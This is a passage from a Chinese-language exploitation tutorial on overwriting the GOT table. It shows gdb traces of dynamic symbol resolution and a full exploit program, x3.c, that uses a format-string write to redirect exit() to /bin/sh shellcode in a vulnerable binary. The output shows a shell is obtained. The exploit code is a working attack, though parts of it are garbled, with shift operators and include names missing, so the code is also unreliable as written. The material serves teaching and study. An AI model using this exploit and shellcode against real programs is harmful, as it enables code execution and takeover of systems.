5．覆盖GOT表
在编译elf文件的时候，如果要用到其他动态库的函数，比如printf, exit等， 编译的时候并不会直接把这两个函数的代码编译进去，而是留一个调用地址在GOT表里面，当elf文件被加载的时候，代码段才会真正加载进来，然后替换掉GOT表里面的地址(具体实现可以参考alert7的一篇文章。)
[bkbll@mobile format]$ cat 13.c
main(){printf("hello,world");exit(0);}
[bkbll@mobile format]$ gdb -q 13
(gdb) disass printf
Dump of assembler code for function printf:
0x804828c : jmp *0x80494d8
0x8048292 : push $0x8
0x8048297 : jmp 0x804826c
End of assembler dump.
(gdb) x/wx 0x80494d8
0x80494d8 : 0x08048292
(gdb) x/i 0x804826c
0x804826c : pushl 0x80494cc
(gdb)
0x8048272 : jmp *0x80494d0
(gdb) x/w 0x80494d0
0x80494d0 : 0x00000000
在未开始加载动态共享库的时候，PLT表第1项指向的函数地址为空。
(gdb) b main
Breakpoint 1 at 0x8048362
(gdb) r
Starting program: /home/bkbll/format/13
Breakpoint 1, 0x08048362 in main ()
(gdb) x/w 0x80494d0
0x80494d0 : 0x4000a180
(gdb) disass 0x4000a180
Dump of assembler code for function _dl_runtime_resolve:
0x4000a180 : push %eax
0x4000a181 : push %ecx
0x4000a182 : push %edx
0x4000a183 : mov 0x10(%esp,1),%edx
0x4000a187 : mov 0xc(%esp,1),%eax
0x4000a18b : call 0x40009f10 /* 这里开始把填充函数地址 */
0x4000a190 : pop %edx
0x4000a191 : pop %ecx
0x4000a192 : xchg %eax,(%esp,1)
0x4000a195 : ret $0x8
0x4000a198 : nop
0x4000a199 : lea 0x0(%esi,1),%esi
End of assembler dump.
(gdb) b *0x4000a192
Breakpoint 2 at 0x4000a192
(gdb) c
Continuing.
Breakpoint 2, 0x4000a192 in _dl_runtime_resolve () from /lib/ld-linux.so.2
(gdb) x/i 0x804828c
0x804828c : jmp *0x80494d8
(gdb) x/wx 0x80494d8
0x80494d8 : 0x42052390 /* 这里已经改成了真的printf函数地址*/
(gdb) disass 0x42052390 0x42052390+0x70
Dump of assembler code from 0x42052390 to 0x42052400:
0x42052390 : push %ebp
0x42052391 : mov %esp,%ebp
0x42052393 : sub $0x18,%esp
0x42052396 : mov %ebx,0xfffffffc(%ebp)
0x42052399 : lea 0xc(%ebp),%ecx
0x4205239c : call 0x4201575d
0x420523a1 : add $0xd7f2f,%ebx
0x420523a7 : mov 0x17c(%ebx),%eax
0x420523ad : mov (%eax),%eax
0x420523af : mov %ecx,0x8(%esp,1)
0x420523b3 : mov %eax,(%esp,1)
0x420523b6 : mov 0x8(%ebp),%eax
0x420523b9 : mov %eax,0x4(%esp,1)
0x420523bd : call 0x42047f00
0x420523c2 : mov 0xfffffffc(%ebp),%ebx
0x420523c5 : mov %ebp,%esp
0x420523c7 : pop %ebp
0x420523c8 : ret
0x420523c9 : nop
0x420523ca : nop
0x420523cb : nop
0x420523cc : nop
---Type to continue, or q to quit---q
Quit
这个是printf函数的加载过程，下面的exit函数过程一样。
因为exit函数在printf后面加载， 所以我们可以通过format string漏洞覆盖掉exit函数的入口地址，不让他去执行真正的exit函数。
我们看一下exit函数的位置：
(gdb) disass main
Dump of assembler code for function main:
0x804835c : push %ebp
0x804835d : mov %esp,%ebp
0x804835f : sub $0x8,%esp
0x8048362 : and $0xfffffff0,%esp
0x8048365 : mov $0x0,%eax
0x804836a : sub %eax,%esp
0x804836c : sub $0xc,%esp
0x804836f : push $0x80483d0
0x8048374 : call 0x804828c
0x8048379 : add $0x10,%esp
0x804837c : sub $0xc,%esp
0x804837f : push $0x0
0x8048381 : call 0x804829c
0x8048386 : nop
0x8048387 : nop
(gdb) x/i 0x804829c
0x804829c : jmp *0x80494dc
(gdb) x/wx 0x80494dc
0x80494dc : 0x080482a2
(gdb) x/i 0x080482a2
0x80482a2 : push $0x10
(gdb)
0x80482a7 : jmp 0x804826c /*这里就需要加载exit函数地址了*/
只要我们覆盖掉0x80494dc地址，让里面的内容替换成我们的shellcode地址就可以执行我们的命令了.
对应我们的vuln程序：
[bkbll@mobile fmtxp_lib]$ objdump -R vuln
vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049648 R_386_GLOB_DAT __gmon_start__
0804964c R_386_COPY stderr
08049630 R_386_JUMP_SLOT fprintf
08049634 R_386_JUMP_SLOT fgets
08049638 R_386_JUMP_SLOT __libc_start_main
0804963c R_386_JUMP_SLOT printf
08049640 R_386_JUMP_SLOT exit
08049644 R_386_JUMP_SLOT fopen
所以want_write_addr=08049640,其他都一样。
[bkbll@mobile fmtxp_lib]$ cat x3.c
/* write to exit function GOT address
* objdump -R vuln |grep exit
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include
#include
#include
#define want_write_addr 0x8049640
#define pad 12
#define straddr 0xbffff690
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";
main()
{
int high_ret,low_ret;
char buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int rea_high_ret,rea_low_ret;
int print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;
high_ret=((straddr+shell_addr_pad) 16) & 0xffff;
low_ret=(straddr+shell_addr_pad) & 0xffff;
if(high_ret == low_ret) exit(0);
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret
print_acc=rea_high_ret - rea_low_ret;
fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);
//j=sprintf(buffer,"%s",want_write_addr);
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr 8 ) & 0xff;
buffer[2]=(want_write_addr 16 ) & 0xff;
buffer[3]=(want_write_addr 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)8) & 0xff;
buffer[6]=((want_write_addr+2)16) & 0xff;
buffer[7]=((want_write_addr+2)24) & 0xff;
j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,print_acc,pad);
buffer[j]=0x90;
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
printf("%s\n",buffer);
}
bkbll@mobile fmtxp_lib]$ gcc -o x3 x3.c; ./x3 3; ./vuln 3
?)览?柁??bin/sh
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
成功了。
我们跟踪一下程序：
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) disass foo
Dump of assembler code for
